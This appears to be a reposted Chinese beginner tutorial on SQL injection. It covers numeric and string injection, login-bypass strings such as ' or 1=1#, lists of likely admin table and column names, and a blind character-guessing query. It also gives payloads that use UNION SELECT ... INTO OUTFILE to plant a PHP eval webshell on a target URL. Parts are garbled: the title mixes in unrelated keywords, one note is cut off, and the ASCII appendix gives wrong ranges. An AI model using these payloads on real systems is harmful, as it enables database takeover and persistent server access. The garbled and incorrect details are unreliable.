c#sql防注⼊模糊查询_SQL注⼊——⼊门篇
SQL注⼊原理
SQL注⼊并没有什么神奇之处,只是因为程序员的疏忽,把⽤户的输⼊未做校验就带⼊到数据库查询中。
⽤户对sql注⼊语句的可控性,可以输⼊数据库指令,被sql解析器执⾏,导致数据库被⽤户直接控制。
注⼊类型php语言处理什么的
按照数据库的⾓度分类
数字型
数字型注⼊多见于ASP和PHP的应⽤程序中,因为ASP和PHP输⼊弱类型语⾔,例如:参数id=5,PHP会⾃动来推导变量id的数据类型为int类型,那么id=5 and 1=1 则会推导为String类型,这是弱类型语⾔的特征,⽽Java,c#这类强类型语⾔,如果试图把⼀个字符串转化为int类型,处理不当就会抛出异常,⽆法继续执⾏。这⽅⾯强类型语⾔⽐弱类型语⾔有先天优势,所以作为⼀个合格程序员,在数据类型处理⽅⾯⼀定要严格设置。
字符型
当输⼊参数为字符串时,称为字符型。数字型与字符型注⼊最⼤的区别在于,数字型不需要单引号闭合,因为sql中的数字类型操作类型的⼀般使⽤单引号来表⽰。如:
数字型:
select * from table where id =5
字符型:
select * from table where username='admin'
select * from table where username like '%admin%'
字符型注⼊也包括很多种,最后关键的是如何进⾏闭合,以及注释多余代码:
select * from table where username='admin'  //这⾥需要闭合
select * from table where username='' or 1=1 --admin'
实际上执⾏的是:
select * from table where username='' or 1=1 --admin'
只要字符串则必须单引号闭合以及代码注释,⽆论select注⼊,Insert注⼊,或者其他类型注⼊。
我们利⽤两次单引号闭合才完成了这⼀次注⼊。
注意:根据数据库不同,字符串连接符不同,字符串连接符也不同,如SQLServer连接符是"+",Orcale连接符是"||",MySQL连接符为空
注意:
格。
对⽐
数字型:
select * from table where id=8
select * from table where id=8 or 1=1
字符型:
select * from table where username='admin' //这⾥需要闭合
select * from table where username='' or 1=1 --admin'
其他分类⽅法
注⼊点不同
Cookie注⼊、POST注⼊、Get注⼊、搜索型注⼊
利⽤sql语句不同
Update注⼊、select注⼊、union注⼊
注⼊显错⽅式不同
显⽰注⼊、盲注
SQL注⼊经典案例:万能密码
1. 'or 1=1# (结尾有空格)
2. 'or 1=1-- (结尾有空格)
3. 'or '1'='1
常⽤表名
通过⾃⼰⼏年的学习开发经验,总结了⼀下开发者常⽤的表名和⽤户会员常⽤的字段名称,这些可以帮助我们去猜测⼀些信息,从⽽为SQL 注⼊收集⼀些值得去尝试的资料。
常⽤的表名
admin、 user、 news、 manage、 a_admin、 x_admin、 m_admin、 adminuser、 admin_user、 article_admin、administrator、 manager、 member、 memberlist、 users、 Manage_User、 user_info、 admin_userinfo、 login、 new ⽤户会员常⽤的列名
username、 password、 id、 adminusername、 admin_username、 adminname 、admin_name、 admin adminuser、
admin_user、 user_name、 user_admin、 administrator、 administrators、 adminpassword、 admin_pwd、 adminpass、userpass、 user_pass、 admin_passwod
⼩技巧
猜字段值(⼀个字母⼀个字母猜)
⾸先判断是否⼤于0,如果⼩于0说明已经猜到结尾,不存在!
and (select top 1 asc(mid(admin,2,1)) from admin)=字母的ASCII值    ==》⼆分法
传⼀句话⽊马
写⼀句话⽊马(PHP)
select '<?php @eval($_POST[cmd])?>' INTO OUTFILE 'C:/xampp/htdocs/360.php' #
192.168.17.102:800/510cms/510cms/news.php?newsid=25 union select 1,2,3,'<?php @eval($_POST[cmd])?>' INTO OUTFILE 'C:/wwwroot/510cms/360.ph 通过菜⼑连接
' union select NULL,NULL,NULL,'<?php @eval($_POST[cmd])?>' INTO OUTFILE 'C:/xampp/htdocs/360.php' --+
SQL注⼊常⽤⼯具
结束篇
这篇⽂章我们主要介绍了SQL的基本原理和分类以及在SQL注⼊当中的⼀些⼩技巧,这些内容都是⼩编在⾃⼰的学习当中总结出来的,如有
错误或者不⾜,望⼤家批评指正。希望借此机会能够更⼤家⼀起学习交流,欢迎⼤家在评论区留⾔,下篇再见!
附录
由于在浏览器进⾏简单的sql注⼊时,经常需要猜测某些字符所对应的ASCII表,下⾯我们给出该表:
其中:
0-9 48-57 A-Z 58-96
a-z 97-122

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。